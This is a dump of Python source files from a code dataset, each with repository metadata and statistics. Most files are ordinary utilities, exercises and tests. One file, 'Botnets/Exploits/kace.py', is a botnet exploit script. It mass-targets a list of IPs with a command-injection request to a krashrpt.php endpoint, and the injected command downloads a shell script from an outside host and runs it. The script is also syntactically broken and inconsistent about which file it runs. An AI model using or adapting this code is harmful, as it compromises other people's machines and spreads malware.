| 14.2 | 39 | 0.661972 | 14 | 71 | 3.357143 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152542 | 0.169014 | 71 | 4 | 40 | 17.75 | 0.644068 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
99201f751c7178bfc4351c34dbc7bdde562c0c86 | 101 | py | Python | Other/modulosort.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | Other/modulosort.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | Other/modulosort.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | input()
c = int(input())
a = sorted((map(int, input().split())))
a.sort(key= lambda x: x%c)
print(*a) | 20.2 | 39 | 0.594059 | 19 | 101 | 3.157895 | 0.631579 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118812 | 101 | 5 | 40 | 20.2 | 0.674157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
992a1b97ab841088ba1a353a1387dd164ee55119 | 468 | py | Python | DecoratorEx.py | JaeGyu/PythonEx_1 | e67053db6ca7431c3dd66351c190c53229e3f141 | [
"MIT"
] | null | null | null | DecoratorEx.py | JaeGyu/PythonEx_1 | e67053db6ca7431c3dd66351c190c53229e3f141 | [
"MIT"
] | null | null | null | DecoratorEx.py | JaeGyu/PythonEx_1 | e67053db6ca7431c3dd66351c190c53229e3f141 | [
"MIT"
] | null | null | null |
def greet(name):
return "Hello {}".format(name)
print(greet("Alice"))
def greet2(name):
def greet_message():
return "Hello"
return "{} {}".format(greet_message(),name)
print(greet2("Alice"))
def change_name_greet(func):
name = "Alice"
return func(name)
print(change_name_greet(greet))
def upper(func):
def wrapper(name):
result = func(name)
return result.upper()
return wrapper
print(upper(greet)("Alice"))
| 16.714286 | 47 | 0.634615 | 59 | 468 | 4.932203 | 0.254237 | 0.092784 | 0.103093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005391 | 0.207265 | 468 | 27 | 48 | 17.333333 | 0.778976 | 0 | 0 | 0 | 0 | 0 | 0.08137 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.111111 | 0.666667 | 0.222222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
99362ec1918c5a228d1484342057785ff49599d9 | 770 | py | Python | 2020/17/part1.py | cheshyre/advent-of-code | 2ccc1529bbf8b0deed938d0783deb09dcc8f5e50 | [
"Unlicense"
] | 1 | 2021-12-03T07:20:23.000Z | 2021-12-03T07:20:23.000Z | 2020/17/part1.py | cheshyre/advent-of-code | 2ccc1529bbf8b0deed938d0783deb09dcc8f5e50 | [
"Unlicense"
] | null | null | null | 2020/17/part1.py | cheshyre/advent-of-code | 2ccc1529bbf8b0deed938d0783deb09dcc8f5e50 | [
"Unlicense"
] | null | null | null | import os
import cube
cur_dir = os.path.dirname(os.path.abspath(__file__))
z = 0
active_dict = {}
with open(f"{cur_dir}/input") as f:
for y, line in enumerate(f):
for x, char in enumerate(line.strip()):
if char == "#":
active_dict[(x, y, z)] = cube.Cube(x, y, z)
active_dict = cube.determine_next_active_dict(active_dict)
active_dict = cube.determine_next_active_dict(active_dict)
active_dict = cube.determine_next_active_dict(active_dict)
active_dict = cube.determine_next_active_dict(active_dict)
active_dict = cube.determine_next_active_dict(active_dict)
active_dict = cube.determine_next_active_dict(active_dict)
cube.draw_state(active_dict)
print(f"There are {len(active_dict)} active cubes after the six-cycle boot.")
| 30.8 | 77 | 0.741558 | 123 | 770 | 4.308943 | 0.333333 | 0.415094 | 0.362264 | 0.415094 | 0.539623 | 0.532075 | 0.532075 | 0.532075 | 0.532075 | 0.532075 | 0 | 0.00152 | 0.145455 | 770 | 24 | 78 | 32.083333 | 0.803951 | 0 | 0 | 0.333333 | 0 | 0 | 0.107792 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0.055556 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
994cfc719e1e719affbbe45627d217841cc00c12 | 86 | py | Python | scripts/misc/redis_test.py | cclauss/archai | a5fb8f937f7f1319e3204120803b2a045e9f768b | [
"MIT"
] | 344 | 2020-06-12T22:12:56.000Z | 2022-03-29T06:48:20.000Z | scripts/misc/redis_test.py | cclauss/archai | a5fb8f937f7f1319e3204120803b2a045e9f768b | [
"MIT"
] | 29 | 2020-06-13T19:56:49.000Z | 2022-03-30T20:26:48.000Z | scripts/misc/redis_test.py | cclauss/archai | a5fb8f937f7f1319e3204120803b2a045e9f768b | [
"MIT"
] | 68 | 2020-06-12T19:32:43.000Z | 2022-03-05T06:58:40.000Z | import redis
redis_client = redis.StrictRedis(host="127.0.0.1", port=6379)
input("") | 17.2 | 61 | 0.72093 | 14 | 86 | 4.357143 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 0.093023 | 86 | 5 | 62 | 17.2 | 0.653846 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
994d943e1ed28992f43ea83c07fdc959e483bccf | 383 | py | Python | app/route/errors.py | DreamAndDead/flask-glass | b00cd7ae56b8dc4e7d35bce88f5f1d2a1ebc45b3 | [
"MIT"
] | 2 | 2017-06-29T07:34:11.000Z | 2018-01-15T05:38:15.000Z | app/route/errors.py | DreamAndDead/flask-glass | b00cd7ae56b8dc4e7d35bce88f5f1d2a1ebc45b3 | [
"MIT"
] | null | null | null | app/route/errors.py | DreamAndDead/flask-glass | b00cd7ae56b8dc4e7d35bce88f5f1d2a1ebc45b3 | [
"MIT"
] | null | null | null | """
what flask do when 404 or something wrong happens
"""
from flask import render_template
from . import main
@main.app_errorhandler(404)
def page_not_found(e):
"""
404 error page
"""
return render_template('404.html'), 404
@main.app_errorhandler(500)
def internal_server_error(e):
"""
500 error page
"""
return render_template('500.html'), 500
| 16.652174 | 49 | 0.678851 | 53 | 383 | 4.735849 | 0.509434 | 0.167331 | 0.151394 | 0.167331 | 0.231076 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088525 | 0.203655 | 383 | 22 | 50 | 17.409091 | 0.734426 | 0.206266 | 0 | 0 | 0 | 0 | 0.060377 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9959d60654ba2b048caafd94de2c99ac44a44a32 | 311 | py | Python | polygon_cli/colors.py | SergeyMelnikov/polygon-cli | 62bb6a94a5c70f20681c41f1371b0328690e2df3 | [
"MIT"
] | 50 | 2016-01-16T12:58:25.000Z | 2022-01-29T13:34:03.000Z | polygon_cli/colors.py | SergeyMelnikov/polygon-cli | 62bb6a94a5c70f20681c41f1371b0328690e2df3 | [
"MIT"
] | 18 | 2016-01-22T08:25:33.000Z | 2021-09-09T17:41:00.000Z | polygon_cli/colors.py | SergeyMelnikov/polygon-cli | 62bb6a94a5c70f20681c41f1371b0328690e2df3 | [
"MIT"
] | 19 | 2016-01-15T09:57:08.000Z | 2021-09-09T15:02:52.000Z | import colorama
colorama.init(autoreset=True)
def colored(color):
return lambda message, *args: color + message.format(*args) + colorama.Style.RESET_ALL
error = colored(colorama.Fore.RED)
warning = colored(colorama.Fore.YELLOW)
success = colored(colorama.Fore.GREEN)
info = colored(colorama.Fore.CYAN)
| 22.214286 | 90 | 0.765273 | 41 | 311 | 5.780488 | 0.609756 | 0.253165 | 0.320675 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11254 | 311 | 13 | 91 | 23.923077 | 0.858696 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.125 | 0.375 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
996b1949e70fc34bc768d1d7c758d44a55cd4930 | 863 | py | Python | Botnets/Exploits/kace.py | 1ucif3r/DDOS-th31ucif3r | b5f6db19ea25ed3ceca71862eaae58c184270fdd | [
"MIT"
] | 1 | 2021-09-22T13:11:00.000Z | 2021-09-22T13:11:00.000Z | Botnets/Exploits/kace.py | 1ucif3r/DDOS-th31ucif3r | b5f6db19ea25ed3ceca71862eaae58c184270fdd | [
"MIT"
] | null | null | null | Botnets/Exploits/kace.py | 1ucif3r/DDOS-th31ucif3r | b5f6db19ea25ed3ceca71862eaae58c184270fdd | [
"MIT"
] | 3 | 2021-06-27T00:20:17.000Z | 2022-02-26T09:11:03.000Z | #!/usr/bin/python
import threading
import sys
import time
import random
import socket
import subprocess
import re
import os
import struct
import array
import requests
from threading import Thread
from time import sleep
from requests.auth import HTTPDigestAuth
from decimal import *
ips = open(sys.argv[1], "r").readlines()
def run(cmd):
subprocess.call(cmd, shell=True)
class k-1000(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
print "--> " + self.ip
url = "http://" + self.ip + "/service/krashrpt.php?kuid=\x60id | wget http://r.0.0.t.s.3.c/zen.sh; chmod 777 zen.sh; sh Ares.sh; rm -rf zen.sh\x60"
requests.get(url, timeout=3)
except Exception as e:
pass
for ip in ips:
try:
r = k-1000(ip)
r.start()
time.sleep(0.03)
except:
pass
| 19.613636 | 147 | 0.687138 | 141 | 863 | 4.148936 | 0.539007 | 0.041026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032349 | 0.17613 | 863 | 43 | 148 | 20.069767 | 0.790436 | 0 | 0 | 0.111111 | 0 | 0.027778 | 0.154846 | 0.039007 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.055556 | 0.416667 | null | null | 0.027778 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 3 |
997ad5b828ec5c693ac582854d231b4393d0c3e7 | 69 | py | Python | test.py | geographika/hashtable-swig | 70af890a4be76759da31800d5ccac0edbb1f5e92 | [
"MIT"
] | null | null | null | test.py | geographika/hashtable-swig | 70af890a4be76759da31800d5ccac0edbb1f5e92 | [
"MIT"
] | null | null | null | test.py | geographika/hashtable-swig | 70af890a4be76759da31800d5ccac0edbb1f5e92 | [
"MIT"
] | null | null | null | import mapscript
ht = mapscript.hashTableObj()
ht["key1"] = "value1" | 17.25 | 29 | 0.724638 | 8 | 69 | 6.25 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032787 | 0.115942 | 69 | 4 | 30 | 17.25 | 0.786885 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
997d8639bd8a8bfc58b088df644e2d3dc0795f81 | 15,901 | py | Python | osbot_utils/utils/Misc.py | owasp-sbot/OSBot-Utils | 7269390b8fc42a38b8318a21cb824d63eca88bed | [
"Apache-2.0"
] | null | null | null | osbot_utils/utils/Misc.py | owasp-sbot/OSBot-Utils | 7269390b8fc42a38b8318a21cb824d63eca88bed | [
"Apache-2.0"
] | 2 | 2021-01-23T22:04:30.000Z | 2021-02-10T03:30:32.000Z | osbot_utils/utils/Misc.py | owasp-sbot/OSBot-Utils | 7269390b8fc42a38b8318a21cb824d63eca88bed | [
"Apache-2.0"
] | 2 | 2021-01-24T21:52:12.000Z | 2021-01-25T11:15:25.000Z | import base64
import hashlib
import inspect
import logging
import os
import random
import string
import sys
import textwrap
import re
import uuid
import warnings
from datetime import datetime
from secrets import token_bytes
from time import sleep
from urllib.parse import urlencode, quote_plus, unquote_plus
from dotenv import load_dotenv
def append_random_string(target, length=6, prefix='-'):
return f'{target}{random_string(length, prefix)}'
def bytes_md5(bytes : bytes):
return hashlib.md5(bytes).hexdigest()
def bytes_sha256(bytes : bytes):
return hashlib.sha256(bytes).hexdigest()
def base64_to_bytes(bytes_base64):
if type(bytes_base64) is str:
bytes_base64 = bytes_base64.encode()
return base64.decodebytes(bytes_base64)
def base64_to_str(target):
return bytes_to_str(base64_to_bytes(target))
def bytes_to_base64(bytes):
return base64.b64encode(bytes).decode()
def bytes_to_str(target, encoding='ascii'):
return target.decode(encoding=encoding)
def chunks(items:list, split: int):
if items and split and split > 0:
for i in range(0, len(items), split):
yield items[i:i + split]
def class_name(target):
if target:
return type(target).__name__
def class_functions(target):
functions = {}
for function_name, function_ref in inspect.getmembers(type(target), predicate=inspect.isfunction):
functions[function_name] = function_ref
return functions
def class_functions_names(target):
return list_set(class_functions(target))
def convert_to_number(value):
if value:
try:
if value[0] in ['£','$','€']:
return float(re.sub(r'[^\d.]', '', value))
else:
return float(value)
except:
return 0
else:
return 0
def date_now(use_utc=True, return_str=True):
value = date_time_now(use_utc=use_utc, return_str=False)
if return_str:
return date_to_str(date=value)
return value
def date_time_now(use_utc=True, return_str=True, milliseconds_numbers=0):
if use_utc:
value = datetime.utcnow()
else:
value = datetime.now()
if return_str:
return date_time_to_str(value, milliseconds_numbers=milliseconds_numbers)
return value
def date_time_to_str(date_time, date_time_format='%Y-%m-%d %H:%M:%S.%f', milliseconds_numbers=3):
date_time_str = date_time.strftime(date_time_format)
return time_str_milliseconds(datetime_str=date_time_str, datetime_format=date_time_format, milliseconds_numbers=milliseconds_numbers)
def date_to_str(date, date_format='%Y-%m-%d'):
return date.strftime(date_format)
def time_str_milliseconds(datetime_str, datetime_format, milliseconds_numbers=0):
if '.%f' in datetime_format and -1 < milliseconds_numbers < 6:
chars_to_remove = milliseconds_numbers-6
if milliseconds_numbers == 0:
chars_to_remove -= 1
return datetime_str[:chars_to_remove]
return datetime_str
def env_value(var_name):
return env_vars().get(var_name, None)
def env_vars():
"""
reload data from .env file and return dictionary with current environment variables
"""
load_dotenv()
vars = os.environ
data = {}
for key in vars:
data[key] = vars[key]
return data
def env_vars_list():
return list_set(env_vars())
def flist(target):
from osbot_utils.fluent.Fluent_List import Fluent_List
return Fluent_List(target)
def get_field(target, field, default=None):
if target is not None:
try:
value = getattr(target, field)
if value is not None:
return value
except:
pass
return default
def get_value(target, key, default=None):
if target is not None:
value = target.get(key)
if value is not None:
return value
return default
# todo: check if this should still be here
def get_random_color(max=5):
if max > 5: max = 5 # add support for more than 5 colors
colors = ['skyblue', 'darkseagreen', 'palevioletred', 'coral', 'darkgray']
return colors[random_number(0, max-1)]
def get_missing_fields(target,field):
missing_fields = []
for field in field:
if get_field(target, field) is None:
missing_fields.append(field)
return missing_fields
def is_number(value):
try:
if type(value) is int or type(value) is float :
int(value)
return True
except:
pass
return False
def ignore_warning__unclosed_ssl():
warnings.filterwarnings("ignore", category=ResourceWarning, message="unclosed.*<ssl.SSLSocket.*>")
def last_letter(text):
if text and (type(text) is str) and len(text) > 0:
return text[-1]
def len_list(target):
return len(list(target))
def list_add(array : list, value):
if value is not None:
array.append(value)
return value
def list_contains_list(array : list, values):
if array is not None:
if type(values) is list:
for item in values:
if item in array is False:
return False
return True
return False
def list_find(array:list, item):
if item in array:
return array.index(item)
return -1
def list_get_field(values, field):
return [item.get(field) for item in values]
def list_index_by(values, index_by):
from osbot_utils.fluent.Fluent_Dict import Fluent_Dict
results = {}
if values and index_by:
for item in values:
results[item.get(index_by)] = item
return Fluent_Dict(results)
def list_group_by(values, group_by):
results = {}
for item in values:
value = item.get(group_by)
if results.get(value) is None: results[value] = []
results[value].append(item)
return results
def list_get(array, position=None, default=None):
if type(array) is list:
if type(position) is int and position >=0 :
if len(array) > position:
return array[position]
return default
def list_pop(array:list, position=None, default=None):
if array:
if len(array) >0:
if type(position) is int:
if len(array) > position:
return array.pop(position)
else:
return array.pop()
return default
def list_pop_and_trim(array, position=None):
value = array_pop(array,position)
if type(value) is str:
return trim(value)
return value
def list_set(target):
if target:
return sorted(list(set(target)))
return []
def list_zip(*args):
return list(zip(*args))
def list_set_dict(target):
return sorted(list(set(obj_dict(target))))
def list_filter(target_list, filter_function):
return list(filter(filter_function, target_list))
def list_sorted(target_list, key, descending=False):
return list(sorted(target_list, key= lambda x:x.get(key,None) ,reverse=descending))
def list_filter_starts_with(target_list, prefix):
return list_filter(target_list, lambda x: x.startswith(prefix))
def list_filter_contains(target_list, value):
return list_filter(target_list, lambda x: x.find(value) > -1)
def log_critical(message): logger().critical(message) # level 50
def log_debug (message): logger().debug (message) # level 10
def log_error (message): logger().error (message) # level 40
def log_info (message): logger().info (message) # level 20
def log_warning (message): logger().warning (message) # level 30
def log_to_console(level="INFO"):
logger_set_level(level)
logger_add_handler__console()
print() # add extra print so that in pytest the first line is not hidden
def log_to_file(level="INFO"):
logger_set_level(level)
return logger_add_handler__file()
def logger():
return logging.getLogger()
def logger_add_handler(handler):
logger().addHandler(handler)
def logger_add_handler__console():
logger_add_handler(logging.StreamHandler())
def logger_add_handler__file(log_file=None):
from osbot_utils.utils.Files import temp_file
log_file = log_file or temp_file(extension=".log")
logger_add_handler(logging.FileHandler(filename=log_file))
return log_file
#logging.basicConfig(level=logging.DEBUG, filename='myapp.log', format='%(asctime)s %(levelname)s:%(message)s')
def logger_set_level(level):
logger().setLevel(level)
def logger_set_level_critical(): logger_set_level('CRITICAL') # level 50
def logger_set_level_debug (): logger_set_level('DEBUG' ) # level 10
def logger_set_level_error (): logger_set_level('ERROR' ) # level 40
def logger_set_level_info (): logger_set_level('INFO' ) # level 20
def logger_set_level_warning (): logger_set_level('WARNING' ) # level 30
def lower(target : str):
if target:
return target.lower()
return ""
def obj_data(target=None):
data = {}
for key,value in obj_items(target):
data[key] = value
return data
def obj_dict(target=None):
if target and hasattr(target,'__dict__'):
return target.__dict__
return {}
def obj_items(target=None):
return sorted(list(obj_dict(target).items()))
def obj_keys(target=None):
return sorted(list(obj_dict(target).keys()))
def obj_get_value(target=None, key=None, default=None):
return get_field(target=target, field=key, default=default)
def obj_values(target=None):
return list(obj_dict(target).values())
def size(target=None):
if target and hasattr(target, '__len__'):
return len(target)
return 0
def str_index(target:str, source:str):
try:
return target.index(source)
except:
return -1
def sys_path_python(python_folder='lib/python'):
return list_contains(sys.path, python_folder)
def str_md5(text : str):
if text:
return bytes_md5(text.encode())
return None
def none_or_empty(target,field):
if target and field:
value = target.get(field)
return (value is None) or value == ''
return True
def print_date_now(use_utc=True):
print(date_time_now(use_utc=use_utc))
def print_object_members(target, max_width=120, show_internals=False):
print()
print(f"Members for object: {target}"[:max_width])
print()
print(f"{'field':<20} | value")
print(f"{'-' * max_width}")
for name, val in inspect.getmembers(target):
if not show_internals and name.startswith("__"):
continue
print(f"{name:<20} | {val}"[:max_width])
def print_time_now(use_utc=True):
print(time_now(use_utc=use_utc))
def str_sha256(text: str):
if text:
return bytes_sha256(text.encode())
#return hashlib.sha256('{0}'.format(text).encode()).hexdigest()
return None
def time_delta_to_str(time_delta):
microseconds = time_delta.microseconds
milliseconds = int(microseconds / 1000)
total_seconds = int(time_delta.total_seconds())
return f'{total_seconds}s {milliseconds}ms'
def time_now(use_utc=True, milliseconds_numbers=1):
if use_utc:
datetime_now = datetime.utcnow()
else:
datetime_now = datetime.now()
return time_to_str(datetime_value=datetime_now,milliseconds_numbers=milliseconds_numbers)
def time_to_str(datetime_value, time_format='%H:%M:%S.%f', milliseconds_numbers=3):
time_str = datetime_value.strftime(time_format)
return time_str_milliseconds(datetime_str=time_str, datetime_format=time_format, milliseconds_numbers=milliseconds_numbers)
def timestamp_utc_now():
return int(datetime.utcnow().timestamp() * 1000)
return int(datetime.utcnow().strftime('%s')) * 1000
def timestamp_to_datetime(timestamp):
return datetime.fromtimestamp(timestamp/1000)
def to_string(target):
if target:
return str(target)
return ''
def random_bytes(length=24):
return token_bytes(length)
def random_filename(extension='.tmp', length=10):
from osbot_utils.utils.Files import file_extension_fix
extension = file_extension_fix(extension)
return '{0}{1}'.format(''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) , extension)
def random_port(min=20000,max=65000):
return random_number(min, max)
def random_number(min=1,max=65000):
return random.randint(min, max)
def random_password(length=24, prefix=''):
password = prefix + ''.join(random.choices(string.ascii_lowercase +
string.ascii_uppercase +
string.punctuation +
string.digits ,
k=length))
# replace these chars with _ (to make prevent errors in command prompts and urls)
items = ['"', '\'', '`','\\','/','}','?','#',';',':']
for item in items:
password = password.replace(item, '_')
return password
def random_string(length=8,prefix=''):
return prefix + ''.join(random.choices(string.ascii_uppercase, k=length)).lower()
def random_string_and_numbers(length=6,prefix=''):
return prefix + ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))
def random_text(prefix=None,length=12):
if prefix is None: prefix = 'text_'
if last_letter(prefix) != '_':
prefix += '_'
return random_string_and_numbers(length=length, prefix=prefix)
def random_uuid():
return str(uuid.uuid4())
def remove(target_string, string_to_remove): # todo: refactor to str_*
return replace(target_string, string_to_remove, '')
def remove_multiple_spaces(target): # todo: refactor to str_*
return re.sub(' +', ' ', target)
def replace(target_string, string_to_find, string_to_replace): # todo: refactor to str_*
return target_string.replace(string_to_find, string_to_replace)
def remove_html_tags(html):
if html:
TAG_RE = re.compile(r'<[^>]+>')
return TAG_RE.sub('', html).replace(' ', ' ')
def split_lines(text):
return text.replace('\r\n','\n').split('\n')
def split_spaces(target):
return remove_multiple_spaces(target).split(' ')
def sorted_set(target : object):
if target:
return sorted(set(target))
return []
def str_to_base64(target):
return bytes_to_base64(str_to_bytes(target))
def str_to_bytes(target):
return target.encode()
def str_to_date(str_date, format='%Y-%m-%d %H:%M:%S.%f'):
return datetime.strptime(str_date,format)
def to_int(value, default=0):
try:
return int(value)
except:
return default
def trim(target):
if type(target) is str:
return target.strip()
return ""
def under_debugger():
return 'pydevd' in sys.modules
def unique(target):
return list_set(target)
def url_encode(data):
if type(data) is str:
return quote_plus(data)
def url_decode(data):
if type(data) is str:
return unquote_plus(data)
def upper(target : str):
if target:
return target.upper()
return ""
def wait(seconds):
sleep(seconds)
def word_wrap(text,length = 40):
return '\n'.join(textwrap.wrap(text, length))
def word_wrap_escaped(text,length = 40):
if text:
return '\\n'.join(textwrap.wrap(text, length))
array_find = list_find
array_get = list_get
array_pop = list_pop
array_pop_and_trim = list_pop_and_trim
array_add = list_add
bytes_to_string = bytes_to_str
convert_to_float = convert_to_number
datetime_now = date_time_now
list_contains = list_filter_contains
new_guid = random_uuid
obj_list_set = obj_keys
str_lines = split_lines
str_remove = remove
random_id = random_string
wait_for = wait
| 29.610801 | 137 | 0.668574 | 2,165 | 15,901 | 4.688222 | 0.139492 | 0.021281 | 0.017931 | 0.007685 | 0.224926 | 0.134286 | 0.100788 | 0.036847 | 0.010837 | 0 | 0 | 0.012707 | 0.223005 | 15,901 | 536 | 138 | 29.666045 | 0.80866 | 0.040123 | 0 | 0.196643 | 0 | 0 | 0.029354 | 0.003743 | 0 | 0 | 0 | 0.001866 | 0 | 1 | 0.270983 | false | 0.014388 | 0.05036 | 0.100719 | 0.616307 | 0.028777 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
99816183077905edc8336bb93429867821a7ec88 | 700 | py | Python | tests/unit_tests/test_config.py | sspbft/sspbft-template | 894967f003c42111737b29398935514446d00a42 | [
"MIT"
] | 6 | 2019-11-12T01:45:55.000Z | 2022-03-18T10:57:21.000Z | tests/unit_tests/test_config.py | sspbft/sspbft-template | 894967f003c42111737b29398935514446d00a42 | [
"MIT"
] | 4 | 2019-02-14T10:57:09.000Z | 2019-03-21T15:22:08.000Z | tests/unit_tests/test_config.py | sspbft/BFTList | d73aee5bd0ab05995509f0fcfaf3c0a5944e617a | [
"MIT"
] | 1 | 2019-04-04T15:09:33.000Z | 2019-04-04T15:09:33.000Z | import unittest
import os
from conf import config
class TestConfig(unittest.TestCase):
def test_config_can_parse_nodes_txt(self):
s = "0,localhost,127.0.0.1,5000\n1,localhost,127.0.0.1,5001\n"
path = "conf/tmp.txt"
with open(path, "w") as f:
f.write(s)
hosts = config.get_nodes(hosts_path=path)
self.assertEqual(len(hosts.values()), 2)
self.assertEqual(hosts[0].id, 0)
self.assertEqual(hosts[0].hostname, "localhost")
self.assertEqual(hosts[0].ip, "127.0.0.1")
self.assertEqual(hosts[0].port, 5000)
self.assertEqual(hosts[1].id, 1)
os.remove(path)
if __name__ == '__main__':
unittest.main() | 33.333333 | 70 | 0.63 | 103 | 700 | 4.135922 | 0.456311 | 0.211268 | 0.234742 | 0.197183 | 0.070423 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07326 | 0.22 | 700 | 21 | 71 | 33.333333 | 0.70696 | 0 | 0 | 0 | 0 | 0.052632 | 0.135521 | 0.079886 | 0 | 0 | 0 | 0 | 0.315789 | 1 | 0.052632 | false | 0 | 0.157895 | 0 | 0.263158 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
41eb1acb7cda0b372b4b8452e6c7a221809bf54c | 370 | py | Python | resotocore/resotocore/db/jobdb.py | someengineering/resoto | ee17313f5376e9797ed305e7fdb62d40139a6608 | [
"Apache-2.0"
] | 126 | 2022-01-13T18:22:03.000Z | 2022-03-31T11:03:14.000Z | resotocore/resotocore/db/jobdb.py | someengineering/resoto | ee17313f5376e9797ed305e7fdb62d40139a6608 | [
"Apache-2.0"
] | 110 | 2022-01-13T22:27:55.000Z | 2022-03-30T22:26:50.000Z | resotocore/resotocore/db/jobdb.py | someengineering/resoto | ee17313f5376e9797ed305e7fdb62d40139a6608 | [
"Apache-2.0"
] | 8 | 2022-01-15T10:28:16.000Z | 2022-03-30T16:38:21.000Z | from resotocore.db.async_arangodb import AsyncArangoDB
from resotocore.db.entitydb import EntityDb, EventEntityDb, ArangoEntityDb
from resotocore.task.task_description import Job
JobDb = EntityDb[Job]
EventJobDb = EventEntityDb[Job]
def job_db(db: AsyncArangoDB, collection: str) -> ArangoEntityDb[Job]:
return ArangoEntityDb(db, collection, Job, lambda k: k.id)
